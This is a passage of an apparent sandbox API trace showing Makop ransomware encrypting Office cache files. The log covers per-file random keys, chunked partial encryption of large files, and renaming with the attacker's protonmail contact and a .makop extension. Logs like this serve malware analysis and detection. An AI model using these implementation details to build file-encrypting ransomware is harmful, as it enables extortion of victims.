users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.412] CloseHandle (hObject=0x124) returned 1 [0082.412] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0082.412] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.413] GetProcessHeap () returned 0x48a0000 [0082.413] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.413] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.413] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0082.413] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xe, lpOverlapped=0x0) returned 1 [0082.419] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.419] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.419] GetProcessHeap () returned 0x48a0000 [0082.419] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.420] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0082.420] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.420] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0082.420] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0082.420] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0082.420] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0082.421] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.421] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0082.421] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.421] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.421] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.422] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x10b2, lpOverlapped=0x0) returned 1 [0082.423] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x10c0) returned 1 [0082.423] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.424] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x10c0, lpOverlapped=0x0) returned 1 [0082.424] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.424] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.424] SetEndOfFile (hFile=0x124) returned 1 [0082.435] GetProcessHeap () returned 0x48a0000 [0082.435] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.435] GetProcessHeap () returned 0x48a0000 [0082.435] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.435] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0082.435] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.436] CloseHandle (hObject=0x124) returned 1 [0082.437] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0082.437] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0082.437] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0082.437] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.439] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=7378792) returned 1 [0082.440] GetProcessHeap () returned 0x48a0000 [0082.440] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.440] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.440] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.440] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0082.444] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.444] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.444] GetProcessHeap () returned 0x48a0000 [0082.444] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0082.445] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0082.445] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.445] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0082.445] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0082.445] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0082.445] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0082.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.446] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0082.446] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.446] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.446] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.455] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.464] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.464] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.466] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.467] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.467] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.467] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.479] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.482] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.482] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.485] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.485] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.485] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6c9770, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.485] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.492] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.495] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6c9770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.495] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.497] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.497] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.497] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.498] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.498] SetEndOfFile (hFile=0x124) returned 1 [0082.505] GetProcessHeap () returned 0x48a0000 [0082.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0082.505] GetProcessHeap () returned 0x48a0000 [0082.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.505] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0082.511] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.512] CloseHandle (hObject=0x124) returned 1 [0082.513] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0082.513] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.513] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=36233052) returned 1 [0082.514] GetProcessHeap () returned 0x48a0000 [0082.514] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.514] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.514] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.514] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0082.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.535] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.535] GetProcessHeap () returned 0x48a0000 [0082.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.536] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0082.536] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.536] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0082.536] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0082.536] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0082.563] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0082.564] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.564] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0082.564] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.564] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.564] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.564] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.579] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.582] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.582] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.585] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.585] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.585] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.585] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.597] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.603] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.605] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.605] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.605] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.606] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.614] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.616] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.617] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 